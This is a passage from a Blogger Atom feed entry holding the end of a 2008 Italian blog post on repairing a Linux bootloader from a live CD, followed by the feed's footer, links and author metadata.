risolto?&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;br /&gt;Molto bene, uscite con exit e fate un reboot. Tirate fuori la live e risbattetela nel vostro "archivio".Se il problema non si e' risolto, ripetete i passi descritti sopra e riprovate: la fortuna assiste gliaudaci.&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style=" ;font-family:verdana;font-size:13px;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-5668967025440601205?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/5668967025440601205/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=5668967025440601205' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/5668967025440601205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/5668967025440601205'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2008/11/sistemare-il-bootloader-fixing.html' title='Sistemare il bootloader / Fixing the bootloader'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
